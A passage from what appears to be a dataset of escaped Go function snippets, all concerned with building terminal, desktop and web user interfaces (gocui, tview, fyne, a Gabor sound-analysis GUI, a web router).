newReadUI(w, it)))\n\t}\n\ttb.SelectTabIndex(0)\n\treturn tb\n}", "func UIConfig(props map[string]string) func(*Config) {\n\treturn func(c *Config) {\n\t\tvs := make(map[template.JS]template.JS, len(props))\n\t\tfor k, v := range props {\n\t\t\tvs[template.JS(k)] = template.JS(v)\n\t\t}\n\t\tc.UIConfig = vs\n\t}\n}", "func main() {\n\tc := getConfig()\n\n\t// Ask version\n\tif c.askVersion {\n\t\tfmt.Println(versionFull())\n\t\tos.Exit(0)\n\t}\n\n\t// Ask Help\n\tif c.askHelp {\n\t\tfmt.Println(versionFull())\n\t\tfmt.Println(HELP)\n\t\tos.Exit(0)\n\t}\n\n\t// Only used to check errors\n\tgetClientSet()\n\n\tg, err := gocui.NewGui(gocui.OutputNormal)\n\tif err != nil {\n\t\tlog.Panicln(err)\n\t}\n\tdefer g.Close()\n\n\tg.Highlight = true\n\tg.SelFgColor = gocui.ColorGreen\n\n\tg.SetManagerFunc(uiLayout)\n\n\tif err := uiKey(g); err != nil {\n\t\tlog.Panicln(err)\n\t}\n\n\tif err := g.MainLoop(); err != nil && err != gocui.ErrQuit {\n\t\tlog.Panicln(err)\n\t}\n}", "func (syn *Synth) ConfigGui() *gi.Window {\n\twidth := 1600\n\theight := 1200\n\n\tgi.SetAppName(\"Synth\")\n\tgi.SetAppAbout(`This demonstrates synthesizing a sound (phone or word)`)\n\n\twin := gi.NewMainWindow(\"one\", \"Auditory ...\", width, height)\n\n\tvp := win.WinViewport2D()\n\tupdt := vp.UpdateStart()\n\n\tmfr := win.SetMainFrame()\n\n\ttbar := gi.AddNewToolBar(mfr, \"tbar\")\n\ttbar.SetStretchMaxWidth()\n\tsyn.ToolBar = tbar\n\n\tsplit := gi.AddNewSplitView(mfr, \"split\")\n\tsplit.Dim = gi.X\n\tsplit.SetStretchMax()\n\n\tsv := giv.AddNewStructView(split, \"sv\")\n\tsv.SetStruct(syn)\n\n\ttview := gi.AddNewTabView(split, \"tv\")\n\n\tplt := tview.AddNewTab(eplot.KiT_Plot2D, \"wave\").(*eplot.Plot2D)\n\tsyn.WavePlot = syn.ConfigWavePlot(plt, syn.SignalData)\n\n\t// tbar.AddAction(gi.ActOpts{Label: \"Update Wave\", Icon: \"new\"}, win.This(),\n\t// \tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t// \t\tsyn.GetWaveData()\n\t// \t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Synthesize\", Icon: \"new\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tsyn.Synthesize()\n\t\t})\n\n\tsplit.SetSplitsList([]float32{.3, .7})\n\n\t// main menu\n\tappnm := gi.AppName()\n\tmmen := win.MainMenu\n\tmmen.ConfigMenus([]string{appnm, \"File\", \"Edit\", \"Window\"})\n\n\tamen := win.MainMenu.ChildByName(appnm, 0).(*gi.Action)\n\tamen.Menu.AddAppMenu(win)\n\n\temen := win.MainMenu.ChildByName(\"Edit\", 1).(*gi.Action)\n\temen.Menu.AddCopyCutPaste(win)\n\n\tvp.UpdateEndNoSig(updt)\n\n\twin.MainMenuUpdated()\n\treturn win\n}", "func NewTUI(appConfig internal.AppConfig, dataController internal.DataController) *TUI {\n\tt := TUI{ac: appConfig, dc: dataController}\n\tt.App = tview.NewApplication()\n\n\t// View elements\n\tt.Sources = tview.NewList().ShowSecondaryText(true).SetSecondaryTextColor(tcell.ColorDimGray)\n\tt.Schemas = tview.NewList().ShowSecondaryText(false)\n\tt.Tables = tview.NewList().ShowSecondaryText(false)\n\tt.PreviewTable = tview.NewTable().SetSelectedStyle(tcell.Style{}.Foreground(tcell.ColorBlack).Background(tcell.ColorWhite))\n\tt.QueryInput = tview.NewInputField()\n\tt.FooterText = tview.NewTextView().SetTextAlign(tview.AlignCenter).SetText(TitleFooterView).SetTextColor(tcell.ColorGray)\n\n\t// Configure appearance\n\tt.Sources.SetTitle(TitleSourcesView).SetBorder(true)\n\tt.Schemas.SetTitle(TitleSchemasView).SetBorder(true)\n\tt.Tables.SetTitle(TitleTablesView).SetBorder(true)\n\tt.PreviewTable.SetTitle(TitlePreviewView).SetBorder(true)\n\tt.QueryInput.SetTitle(TitleQueryView).SetBorder(true)\n\n\t// Input handlers\n\tt.Tables.SetSelectedFunc(t.tableSelected)\n\tt.Schemas.SetSelectedFunc(t.schemaSelected)\n\tt.Sources.SetSelectedFunc(t.sourceSelected)\n\tt.QueryInput.SetDoneFunc(t.queryExecuted)\n\n\t// Layout\n\tnavigate := tview.NewGrid().SetRows(0, 0, 0).\n\t\tAddItem(t.Sources, 0, 0, 1, 1, 0, 0, true).\n\t\tAddItem(t.Schemas, 1, 0, 1, 1, 0, 0, false).\n\t\tAddItem(t.Tables, 2, 0, 1, 1, 0, 0, false)\n\tpreviewAndQuery := tview.NewGrid().SetRows(0, 3).\n\t\tAddItem(t.PreviewTable, 0, 0, 1, 1, 0, 0, false).\n\t\tAddItem(t.QueryInput, 1, 0, 1, 1, 0, 0, false)\n\tt.Grid = tview.NewGrid().\n\t\tSetRows(0, 2).\n\t\tSetColumns(40, 0).\n\t\tSetBorders(false).\n\t\tAddItem(navigate, 0, 0, 1, 1, 0, 0, true).\n\t\tAddItem(previewAndQuery, 0, 1, 1, 1, 0, 0, false).\n\t\tAddItem(t.FooterText, 1, 0, 1, 2, 0, 0, false)\n\n\tt.App.SetAfterDrawFunc(t.setAfterDrawFunc)\n\tt.setupKeyboard()\n\n\t// TODO: Use-case when config was updated. Reload data sources.\n\tfor i, aliasType := range t.dc.List() {\n\t\tt.Sources.AddItem(aliasType[0], aliasType[1], 0, nil)\n\n\t\tif aliasType[0] == t.ac.Default() {\n\t\t\tt.Sources.SetCurrentItem(i)\n\t\t}\n\t}\n\tt.LoadData()\n\n\treturn &t\n}", "func InitTui(instanceRunning bool) bool {\n\tinitialModel.instanceAlreadyRunning = instanceRunning\n\tinitialModel.updateMenuItemsHomePage()\n\tp := tea.NewProgram(initialModel)\n\tif err := p.Start(); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\treturn execBot\n}", "func Initialize(uiURL, confDefaultOS, confDefaultArch string) {\n\tbaseUIURL = uiURL\n\tdefaultOS = confDefaultOS\n\tdefaultArch = confDefaultArch\n}", "func UpdateUI(g *gocui.Gui) {\n\tg.Update(func(g *gocui.Gui) error {\n\t\t// do nothing\n\t\treturn nil\n\t})\n}", "func ScreenInstall(window fyne.Window) fyne.CanvasObject {\n\tvar namespace string\n\tvar deploymentName string\n\tvar installTypeOption string\n\tvar dryRunOption string\n\tvar secretsFile string\n\tvar secretsPasswords string\n\n\t// Entries\n\tnamespaceSelectEntry = uielements.CreateNamespaceSelectEntry(namespaceErrorLabel)\n\tvar secretsFileSelect = uielements.CreateSecretsFileEntry()\n\tvar deploymentNameEntry = uielements.CreateDeploymentNameEntry()\n\tvar installTypeRadio = uielements.CreateInstallTypeRadio()\n\tvar dryRunRadio = uielements.CreateDryRunRadio()\n\tvar secretsPasswordEntry = widget.NewPasswordEntry()\n\n\tvar form = &widget.Form{\n\t\tItems: []*widget.FormItem{\n\t\t\t{Text: \"Namespace\", Widget: namespaceSelectEntry},\n\t\t\t{Text: \"Secrets file\", Widget: secretsFileSelect},\n\t\t\t{Text: \"\", Widget: namespaceErrorLabel},\n\t\t\t{Text: \"Deployment Name\", Widget: deploymentNameEntry},\n\t\t\t{Text: \"Installation type\", Widget: installTypeRadio},\n\t\t\t{Text: \"Execute or dry run\", Widget: dryRunRadio},\n\t\t},\n\t\tOnSubmit: func() {\n\t\t\t// get variables\n\t\t\tsecretsFile = secretsFileSelect.Selected\n\t\t\tnamespace = namespaceSelectEntry.Text\n\t\t\tdeploymentName = deploymentNameEntry.Text\n\t\t\tinstallTypeOption = installTypeRadio.Selected\n\t\t\tdryRunOption = dryRunRadio.Selected\n\t\t\tif dryRunOption == constants.InstallDryRunActive {\n\t\t\t\tconfiguration.GetConfiguration().SetDryRun(true)\n\t\t\t} else {\n\t\t\t\tconfiguration.GetConfiguration().SetDryRun(false)\n\t\t\t}\n\t\t\tif !validator.ValidateNamespaceAvailableInConfig(namespace) {\n\t\t\t\tnamespaceErrorLabel.SetText(\"Error: namespace is unknown!\")\n\t\t\t\tnamespaceErrorLabel.Show()\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t// map state\n\t\t\tvar projectConfig = install.NewInstallProjectConfig()\n\t\t\tvar err = projectConfig.LoadProjectConfigIfExists(namespace)\n\t\t\tif err != nil {\n\t\t\t\tdialog.ShowError(err, window)\n\t\t\t}\n\t\t\tprojectConfig.Project.Base.DeploymentName = deploymentName\n\t\t\tprojectConfig.HelmCommand = installTypeOption\n\t\t\tprojectConfig.SecretsPassword = &secretsPasswords\n\t\t\tprojectConfig.SecretsFileName = secretsFile\n\n\t\t\t// ask for password\n\t\t\tif dryRunOption == constants.InstallDryRunInactive {\n\t\t\t\topenSecretsPasswordDialog(window, secretsPasswordEntry, projectConfig)\n\t\t\t} else {\n\t\t\t\t_ = ExecuteInstallWorkflow(window, projectConfig)\n\t\t\t\t// show output\n\t\t\t\tuielements.ShowLogOutput(window)\n\t\t\t}\n\t\t},\n\t}\n\n\treturn container.NewVBox(\n\t\twidget.NewLabel(\"\"),\n\t\tform,\n\t)\n}", "func preConfigureUI() {\n\tterm := os.Getenv(\"TERM\")\n\n\tfmtc.DisableColors = true\n\n\tif term != \"\" {\n\t\tswitch {\n\t\tcase strings.Contains(term, \"xterm\"),\n\t\t\tstrings.Contains(term, \"color\"),\n\t\t\tterm == \"screen\":\n\t\t\tfmtc.DisableColors = false\n\t\t}\n\t}\n\n\tif !fsutil.IsCharacterDevice(\"/dev/stdout\") && os.Getenv(\"FAKETTY\") == \"\" {\n\t\tfmtc.DisableColors = true\n\t}\n\n\tif os.Getenv(\"NO_COLOR\") != \"\" {\n\t\tfmtc.DisableColors = true\n\t}\n}", "func preConfigureUI() {\n\tterm := os.Getenv(\"TERM\")\n\n\tfmtc.DisableColors = true\n\n\tif term != \"\" {\n\t\tswitch {\n\t\tcase strings.Contains(term, \"xterm\"),\n\t\t\tstrings.Contains(term, \"color\"),\n\t\t\tterm == \"screen\":\n\t\t\tfmtc.DisableColors = false\n\t\t}\n\t}\n\n\tif !fsutil.IsCharacterDevice(\"/dev/stdout\") && os.Getenv(\"FAKETTY\") == \"\" {\n\t\tfmtc.DisableColors = true\n\t}\n\n\tif os.Getenv(\"NO_COLOR\") != \"\" {\n\t\tfmtc.DisableColors = true\n\t}\n}", "func NewUI() flags.Commander {\n\treturn &ui{}\n}", "func UI(build string, shutdown chan os.Signal, log *log.Logger, dgraph data.Dgraph, browserEndpoint string, mapsKey string) (*web.App, error) {\n\tapp := web.NewApp(shutdown, mid.Logger(log), mid.Errors(log), mid.Metrics(), mid.Panics(log))\n\n\t// Register the index page for the website.\n\tindex, err := newIndex(dgraph, browserEndpoint, cities, mapsKey)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"loading index template\")\n\t}\n\tapp.Handle(\"GET\", \"/\", index.handler)\n\n\t// Register the assets.\n\tfs := http.FileServer(http.Dir(\"assets\"))\n\tfs = http.StripPrefix(\"/assets/\", fs)\n\tf := func(ctx context.Context, w http.ResponseWriter, r *http.Request) error {\n\t\tfs.ServeHTTP(w, r)\n\t\treturn nil\n\t}\n\tapp.Handle(\"GET\", \"/assets/*\", f)\n\n\t// Register health check endpoint.\n\tcheck := check{\n\t\tbuild: build,\n\t\tdgraph: dgraph,\n\t}\n\tapp.Handle(http.MethodGet, \"/health\", check.health)\n\n\t// Register data load endpoint.\n\tfetch := fetch{\n\t\tdgraph: dgraph,\n\t}\n\tapp.Handle(\"GET\", \"/data/:city\", fetch.data)\n\n\treturn app, nil\n}", "func (ui *UI) Init() {\n\tui.Palettes = make(map[int]*Palette)\n\tui.Palettes[0] = GetUIPalette()\n\tui.Palettes[1] = GetProjectMegaPalette(\"assets/sprites/projectmute.png\")\n\tui.Palettes[2] = GetProjectMegaPalette(\"assets/sprites/projectmuteG.png\")\n\tui.Palettes[3] = GetProjectMegaPalette(\"assets/sprites/projectmuteY.png\")\n\tui.Palettes[4] = GetProjectMegaPalette(\"assets/sprites/projectmuteR.png\")\n\n\tui.SoundConfirm = rl.LoadSound(\"assets/sounds/confirm.mp3\")\n\tui.SoundSelect = rl.LoadSound(\"assets/sounds/select.mp3\")\n\tui.SoundCancel = rl.LoadSound(\"assets/sounds/cancel.mp3\")\n\tui.Toggles = make(map[string]bool)\n\tui.BuildingCache = &Building{}\n}", "func (t *tui) Run(done, ready chan bool) {\n\tt.ready = ready\n\n\tlog.Tracef(\"creating UI\")\n\tvar err error\n\tt.g, err = gotui.NewGui(gotui.Output256)\n\tif err != nil {\n\t\tlog.Criticalf(\"unable to create ui: %v\", err)\n\t\tos.Exit(2)\n\t}\n\tdefer t.g.Close()\n\n\tt.g.Cursor = true\n\tt.g.Mouse = t.client.Config.Client.UI.Mouse\n\n\tt.g.SetManagerFunc(t.layout)\n\tt.g.SetResizeFunc(t.onResize)\n\n\tlog.Tracef(\"adding keybindings\")\n\tif err := t.keybindings(t.g); err != nil {\n\t\tlog.Criticalf(\"ui couldn't create keybindings: %v\", err)\n\t\tos.Exit(2)\n\t}\n\n\tlog.Tracef(\"listening for signals\")\n\tt.listener = make(chan signal.Signal)\n\tgo t.listen()\n\tt.client.Env.AddListener(\"ui\", t.listener)\n\n\tlog.Tracef(\"running UI...\")\n\tif err := t.g.MainLoop(); err != nil && err != gotui.ErrQuit {\n\t\tt.errs.Close()\n\t\tlog.Criticalf(\"ui unexpectedly quit: %s: %s\", err, errgo.Details(err))\n\t\tfmt.Printf(\"Oh no! Something went very wrong :( Here's all we know: %s: %s\\n\", err, errgo.Details(err))\n\t\tfmt.Println(\"Your connections will all close gracefully and any logs properly closed out.\")\n\t}\n\tt.client.CloseAll()\n\tdone <- true\n}", "func NewUI() *UI {\n\tui := &UI{}\n\n\treturn ui\n\n}", "func (job *Job) SetUI(ux ui.UI) {\n\tif ux == nil {\n\t\tpanic(\"nil pointer to ui.UI passed to job.SetUI()\")\n\t}\n\tjob.UI = ux\n}", "func (ap *App) ConfigGui() *gi.Window {\n\tgi.SetAppName(\"Gabor View\")\n\tgi.SetAppAbout(\"Application/Utility to allow viewing of gabor convolution with sound\")\n\n\tap.GUI.Win = gi.NewMainWindow(\"gb\", \"Gabor View\", 1600, 1200)\n\tap.GUI.ViewPort = ap.GUI.Win.Viewport\n\tap.GUI.ViewPort.UpdateStart()\n\n\tmfr := ap.GUI.Win.SetMainFrame()\n\n\tap.GUI.ToolBar = gi.AddNewToolBar(mfr, \"tbar\")\n\tap.GUI.ToolBar.SetStretchMaxWidth()\n\n\tap.GUI.AddToolbarItem(egui.ToolbarItem{Label: \"Init\", Icon: \"update\",\n\t\tTooltip: \"Initialize everything including network weights, and start over. Also applies current params.\",\n\t\tActive: egui.ActiveAlways,\n\t\tFunc: func() {\n\t\t\tap.Init()\n\t\t\tap.GUI.UpdateWindow()\n\t\t},\n\t})\n\n\tap.GUI.AddToolbarItem(egui.ToolbarItem{Label: \"Open Sound Files\",\n\t\tIcon: \"file-open\",\n\t\tTooltip: \"Opens a file dialog for selecting a single sound file or a directory of sound files (only .wav files work at this time)\",\n\t\tActive: egui.ActiveAlways,\n\t\tFunc: func() {\n\t\t\texts := \".wav\"\n\t\t\tgiv.FileViewDialog(ap.GUI.ViewPort, ap.OpenPath, exts, giv.DlgOpts{Title: \"Open .wav Sound File\", Prompt: \"Open a .wav file, or directory of .wav files, for sound processing.\"}, nil,\n\t\t\t\tap.GUI.Win.This(), func(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\t\t\tif sig == int64(gi.DialogAccepted) {\n\t\t\t\t\t\tdlg, _ := send.Embed(gi.KiT_Dialog).(*gi.Dialog)\n\t\t\t\t\t\tfn := giv.FileViewDialogValue(dlg)\n\t\t\t\t\t\tinfo, err := os.Stat(fn)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tfmt.Println(\"error stating %s\", fn)\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif info.IsDir() {\n\t\t\t\t\t\t\t// Could do fully recursive by passing path var to LoadTranscription but I\n\t\t\t\t\t\t\t// tried it and it didn't return from TIMIT/TRAIN/DR1 even after 10 minutes\n\t\t\t\t\t\t\t// This way it does one level directory only and is fast\n\t\t\t\t\t\t\tfilepath.Walk(fn, func(path string, info os.FileInfo, err error) error {\n\t\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\t\tlog.Fatalf(err.Error())\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif info.IsDir() == false {\n\t\t\t\t\t\t\t\t\t//fmt.Printf(\"File Name: %s\\n\", info.Name())\n\t\t\t\t\t\t\t\t\tfp := filepath.Join(fn, info.Name())\n\t\t\t\t\t\t\t\t\tap.LoadTranscription(fp)\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\treturn nil\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tap.LoadTranscription(fn)\n\t\t\t\t\t\t}\n\t\t\t\t\t\tap.ConfigTableView(ap.SndsTable.View)\n\t\t\t\t\t\tap.GUI.IsRunning = true\n\t\t\t\t\t\tap.GUI.ToolBar.UpdateActions()\n\t\t\t\t\t\tap.GUI.Win.UpdateSig()\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t},\n\t})\n\n\tap.GUI.AddToolbarItem(egui.ToolbarItem{Label: \"Unload Sounds\",\n\t\tIcon: \"file-close\",\n\t\tTooltip: \"Clears the table of sounds and closes the open sound files\",\n\t\tActive: egui.ActiveRunning,\n\t\tFunc: func() {\n\t\t\tap.SndsTable.Table.SetNumRows(0)\n\t\t\tap.SndsTable.View.UpdateTable()\n\t\t\tap.GUI.IsRunning = false\n\t\t\tap.GUI.ToolBar.UpdateActions()\n\t\t},\n\t})\n\n\tap.GUI.AddToolbarItem(egui.ToolbarItem{Label: \"Process 1\", Icon: \"play\",\n\t\tTooltip: \"Process the segment of audio from SegmentStart to SegmentEnd applying the gabor filters to the Mel tensor\",\n\t\tActive: egui.ActiveRunning,\n\t\tFunc: func() {\n\t\t\terr := ap.ProcessSetup(&ap.WParams1, &ap.CurSnd1)\n\t\t\tif err == nil {\n\t\t\t\terr = ap.Process(&ap.WParams1, &ap.PParams1, &ap.GParams1)\n\t\t\t\tif err == nil {\n\t\t\t\t\tap.ApplyGabor(&ap.PParams1, &ap.GParams1)\n\t\t\t\t\tap.GUI.UpdateWindow()\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t})\n\n\tap.GUI.AddToolbarItem(egui.ToolbarItem{Label: \"Process 2\", Icon: \"play\",\n\t\tTooltip: \"Process the segment of audio from SegmentStart to SegmentEnd applying the gabor filters to the Mel tensor\",\n\t\tActive: egui.ActiveRunning,\n\t\tFunc: func() {\n\t\t\terr := ap.ProcessSetup(&ap.WParams2, &ap.CurSnd2)\n\t\t\tif err == nil {\n\t\t\t\terr = ap.Process(&ap.WParams2, &ap.PParams2, &ap.GParams2)\n\t\t\t\tif err == nil {\n\t\t\t\t\tap.ApplyGabor(&ap.PParams2, &ap.GParams2)\n\t\t\t\t\tap.GUI.UpdateWindow()\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t})\n\n\tap.GUI.AddToolbarItem(egui.ToolbarItem{Label: \"Next 1\", Icon: \"fast-fwd\",\n\t\tTooltip: \"Process the next segment of audio\",\n\t\tActive: egui.ActiveRunning,\n\t\tFunc: func() {\n\t\t\t// setup the next segment of sound\n\t\t\tif ap.WParams1.TimeMode == false { // default\n\t\t\t\tap.SndsTable.View.ResetSelectedIdxs()\n\t\t\t\tif ap.Row == ap.SndsTable.View.DispRows-1 {\n\t\t\t\t\tap.Row = 0\n\t\t\t\t} else {\n\t\t\t\t\tap.Row += 1\n\t\t\t\t}\n\t\t\t\tap.SndsTable.View.SelectedIdx = ap.Row\n\t\t\t\tap.SndsTable.View.SelectIdx(ap.Row)\n\t\t\t} else {\n\t\t\t\td := ap.WParams1.SegmentEnd - ap.WParams1.SegmentStart\n\t\t\t\tap.WParams1.SegmentStart += d\n\t\t\t\tap.WParams1.SegmentEnd += d\n\t\t\t}\n\t\t\terr := ap.ProcessSetup(&ap.WParams1, &ap.CurSnd1)\n\t\t\tif err == nil {\n\t\t\t\terr = ap.Process(&ap.WParams1, &ap.PParams1, &ap.GParams1)\n\t\t\t\tif err == nil {\n\t\t\t\t\tap.ApplyGabor(&ap.PParams1, &ap.GParams1)\n\t\t\t\t\tap.GUI.UpdateWindow()\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t})\n\n\tap.GUI.AddToolbarItem(egui.ToolbarItem{Label: \"Next 2\", Icon: \"fast-fwd\",\n\t\tTooltip: \"Process the next segment of audio\",\n\t\tActive: egui.ActiveRunning,\n\t\tFunc: func() {\n\t\t\t// setup the next segment of sound\n\t\t\tif ap.WParams2.TimeMode == false { // default\n\t\t\t\tap.SndsTable.View.ResetSelectedIdxs()\n\t\t\t\tif ap.Row == ap.SndsTable.View.DispRows-1 {\n\t\t\t\t\tap.Row = 0\n\t\t\t\t} else {\n\t\t\t\t\tap.Row += 1\n\t\t\t\t}\n\t\t\t\tap.SndsTable.View.SelectedIdx = ap.Row\n\t\t\t\tap.SndsTable.View.SelectIdx(ap.Row)\n\t\t\t} else {\n\t\t\t\td := ap.WParams2.SegmentEnd - ap.WParams2.SegmentStart\n\t\t\t\tap.WParams2.SegmentStart += d\n\t\t\t\tap.WParams2.SegmentEnd += d\n\t\t\t}\n\t\t\terr := ap.ProcessSetup(&ap.WParams2, &ap.CurSnd2)\n\t\t\tif err == nil {\n\t\t\t\terr = ap.Process(&ap.WParams2, &ap.PParams2, &ap.GParams2)\n\t\t\t\tif err == nil {\n\t\t\t\t\tap.ApplyGabor(&ap.PParams2, &ap.GParams2)\n\t\t\t\t\tap.GUI.UpdateWindow()\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t})\n\n\tap.GUI.AddToolbarItem(egui.ToolbarItem{Label: \"Update Gabors\", Icon: \"update\",\n\t\tTooltip: \"Call this to see the result of changing the Gabor specifications\",\n\t\tActive: egui.ActiveAlways,\n\t\tFunc: func() {\n\t\t\tap.UpdateGabors(&ap.GParams1)\n\t\t\tap.UpdateGabors(&ap.GParams2)\n\t\t\tap.GUI.UpdateWindow()\n\t\t},\n\t})\n\n\tap.GUI.AddToolbarItem(egui.ToolbarItem{Label: \"Save 1\", Icon: \"fast-fwd\",\n\t\tTooltip: \"Save the mel and result grids\",\n\t\tActive: egui.ActiveRunning,\n\t\tFunc: func() {\n\t\t\tap.SnapShot1()\n\t\t},\n\t})\n\n\t//ap.GUI.AddToolbarItem(egui.ToolbarItem{Label: \"Copy 1 -> 2\", Icon: \"copy\",\n\t//\tTooltip: \"Copy all set 1 params (window, process, gabor) to set 2\",\n\t//\tActive: egui.ActiveAlways,\n\t//\tFunc: func() {\n\t//\t\tap.CopyOne()\n\t//\t\tap.GUI.UpdateWindow()\n\t//\t},\n\t//})\n\t//\n\t//ap.GUI.AddToolbarItem(egui.ToolbarItem{Label: \"Copy 2 -> 1\", Icon: \"copy\",\n\t//\tTooltip: \"Copy all set 2 params (window, process, gabor) to set 1\",\n\t//\tActive: egui.ActiveAlways,\n\t//\tFunc: func() {\n\t//\t\tap.CopyTwo()\n\t//\t\tap.GUI.UpdateWindow()\n\t//\t},\n\t//})\n\n\tap.GUI.ToolBar.AddSeparator(\"filt\")\n\n\tap.GUI.AddToolbarItem(egui.ToolbarItem{Label: \"Filter sounds...\", Icon: \"search\",\n\t\tTooltip: \"filter the table of sounds for sounds containing string...\",\n\t\tActive: egui.ActiveRunning,\n\t\tFunc: func() {\n\t\t\tgiv.CallMethod(ap, \"FilterSounds\", ap.GUI.ViewPort)\n\t\t},\n\t})\n\n\tap.GUI.AddToolbarItem(egui.ToolbarItem{Label: \"Unilter sounds...\", Icon: \"reset\",\n\t\tTooltip: \"clear sounds table filter\",\n\t\tActive: egui.ActiveRunning,\n\t\tFunc: func() {\n\t\t\tap.UnfilterSounds()\n\t\t\tap.GUI.UpdateWindow()\n\t\t},\n\t})\n\n\tap.GUI.AddToolbarItem(egui.ToolbarItem{Label: \"View\", Icon: \"file-open\",\n\t\tTooltip: \"opens spectrogram view of selected sound in external application 'Audacity' - edit code to use a different application\",\n\t\tActive: egui.ActiveRunning,\n\t\tFunc: func() {\n\t\t\tap.View()\n\t\t\t//giv.CallMethod(ap, \"ViewSpectrogram\", ap.GUI.ViewPort)\n\t\t},\n\t})\n\n\tsplit1 := gi.AddNewSplitView(mfr, \"split1\")\n\tsplit1.Dim = 0\n\tsplit1.SetStretchMax()\n\n\tsplit := gi.AddNewSplitView(split1, \"split\")\n\tsplit.Dim = 1\n\tsplit.SetStretchMax()\n\n\ttv1 := gi.AddNewTabView(split1, \"tv1\")\n\tap.SndsTable.View = tv1.AddNewTab(etview.KiT_TableView, \"Sounds\").(*etview.TableView)\n\tap.ConfigTableView(ap.SndsTable.View)\n\tap.SndsTable.View.SetTable(ap.SndsTable.Table, nil)\n\n\tsplit1.SetSplits(.75, .25)\n\n\tap.GUI.StructView = giv.AddNewStructView(split, \"app\")\n\tap.GUI.StructView.SetStruct(ap)\n\n\tspecs := giv.AddNewTableView(split, \"specs1\")\n\tspecs.Viewport = ap.GUI.ViewPort\n\tspecs.SetSlice(&ap.GParams1.GaborSpecs)\n\n\tspecs = giv.AddNewTableView(split, \"specs2\")\n\tspecs.Viewport = ap.GUI.ViewPort\n\tspecs.SetSlice(&ap.GParams2.GaborSpecs)\n\n\ttv := gi.AddNewTabView(split, \"tv\")\n\n\ttg := tv.AddNewTab(etview.KiT_TensorGrid, \"Gabors\").(*etview.TensorGrid)\n\ttg.SetStretchMax()\n\tap.PParams1.LogPowerSegment.SetMetaData(\"grid-min\", \"10\")\n\ttg.SetTensor(&ap.GParams1.GaborSet.Filters)\n\t// set Display after setting tensor\n\ttg.Disp.Range.FixMin = false\n\ttg.Disp.Range.FixMax = false\n\n\ttg = tv.AddNewTab(etview.KiT_TensorGrid, \"Power\").(*etview.TensorGrid)\n\ttg.SetStretchMax()\n\tap.PParams1.LogPowerSegment.SetMetaData(\"grid-min\", \"10\")\n\ttg.SetTensor(&ap.PParams1.LogPowerSegment)\n\ttg.Disp.Range.FixMin = false\n\ttg.Disp.Range.FixMax = false\n\n\ttg = tv.AddNewTab(etview.KiT_TensorGrid, \"Mel\").(*etview.TensorGrid)\n\ttg.SetStretchMax()\n\ttg.SetTensor(&ap.PParams1.MelFBankSegment)\n\t// set Display after setting tensor\n\ttg.Disp.ColorMap = \"ColdHot\"\n\ttg.Disp.Range.FixMin = false\n\ttg.Disp.Range.FixMax = false\n\n\ttg = tv.AddNewTab(etview.KiT_TensorGrid, \"Result\").(*etview.TensorGrid)\n\ttg.SetStretchMax()\n\ttg.SetTensor(&ap.GParams1.GborOutput)\n\ttg.Disp.Range.FixMin = false\n\ttg.Disp.Range.FixMax = false\n\n\ttg = tv.AddNewTab(etview.KiT_TensorGrid, \"MFCC\").(*etview.TensorGrid)\n\ttg.SetStretchMax()\n\ttg.SetTensor(&ap.PParams1.MFCCSegment)\n\t// set Display after setting tensor\n\ttg.Disp.ColorMap = \"ColdHot\"\n\ttg.Disp.Range.FixMin = false\n\ttg.Disp.Range.FixMax = false\n\n\ttg = tv.AddNewTab(etview.KiT_TensorGrid, \"Deltas\").(*etview.TensorGrid)\n\ttg.SetStretchMax()\n\ttg.SetTensor(&ap.PParams1.MFCCDeltas)\n\ttg.Disp.ColorMap = \"ColdHot\"\n\ttg.Disp.Range.FixMin = false\n\ttg.Disp.Range.FixMax = false\n\n\ttg = tv.AddNewTab(etview.KiT_TensorGrid, \"DeltaDeltas\").(*etview.TensorGrid)\n\ttg.SetStretchMax()\n\ttg.SetTensor(&ap.PParams1.MFCCDeltaDeltas)\n\ttg.Disp.ColorMap = \"ColdHot\"\n\ttg.Disp.Range.FixMin = false\n\ttg.Disp.Range.FixMax = false\n\n\ttv2 := gi.AddNewTabView(split, \"tv2\")\n\tsplit.SetSplits(.3, .15, .15, .2, .2)\n\n\ttg = tv2.AddNewTab(etview.KiT_TensorGrid, \"Gabors\").(*etview.TensorGrid)\n\ttg.SetStretchMax()\n\ttg.SetTensor(&ap.GParams2.GaborSet.Filters)\n\t// set Display after setting tensor\n\ttg.Disp.Range.FixMin = false\n\ttg.Disp.Range.FixMax = false\n\n\ttg = tv2.AddNewTab(etview.KiT_TensorGrid, \"Power\").(*etview.TensorGrid)\n\ttg.SetStretchMax()\n\tap.PParams2.LogPowerSegment.SetMetaData(\"grid-min\", \"10\")\n\ttg.SetTensor(&ap.PParams2.LogPowerSegment)\n\ttg.Disp.Range.FixMin = false\n\ttg.Disp.Range.FixMax = false\n\n\ttg = tv2.AddNewTab(etview.KiT_TensorGrid, \"Mel\").(*etview.TensorGrid)\n\ttg.SetStretchMax()\n\ttg.SetTensor(&ap.PParams2.MelFBankSegment)\n\ttg.Disp.ColorMap = \"ColdHot\"\n\ttg.Disp.Range.FixMin = false\n\ttg.Disp.Range.FixMax = false\n\n\ttg = tv2.AddNewTab(etview.KiT_TensorGrid, \"Result\").(*etview.TensorGrid)\n\ttg.SetStretchMax()\n\ttg.SetTensor(&ap.GParams2.GborOutput)\n\t// set Display after setting tensor\n\ttg.Disp.Range.FixMin = false\n\ttg.Disp.Range.FixMax = false\n\n\ttg = tv2.AddNewTab(etview.KiT_TensorGrid, 